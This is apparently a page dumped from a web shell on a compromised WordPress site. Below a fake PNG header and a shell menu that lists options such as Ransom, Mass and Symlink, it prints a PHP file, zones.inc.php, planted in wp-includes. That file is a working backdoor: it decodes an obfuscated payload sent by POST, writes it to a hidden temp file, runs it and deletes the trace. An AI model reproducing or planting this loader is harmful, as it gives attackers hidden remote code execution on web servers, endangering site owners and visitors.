\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/eceas/wp-includes/Text/met/random/php/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-includes/Text/met/random/php/zones.inc.php |
<?php
if(!empty($_POST["fa\x63"])){
$ent = $_POST["fa\x63"];
$ent = explode ("." ,$ent );
$factor='';
$salt='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen=strlen($salt);
$z=0;
foreach ($ent as $v4) {$chS=ord($salt[$z % $sLen]);
$dec=((int)$v4 - $chS - ($z % 10)) ^ 54;
$factor .= chr($dec);
$z++;}
$parameter_group = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]);
foreach ($parameter_group as $sym) {
if (array_product([is_dir($sym), is_writable($sym)])) {
$reference = "$sym" . "/.marker";
if (@file_put_contents($reference, $factor) !== false) {
include $reference;
unlink($reference);
exit;
}
}
}
}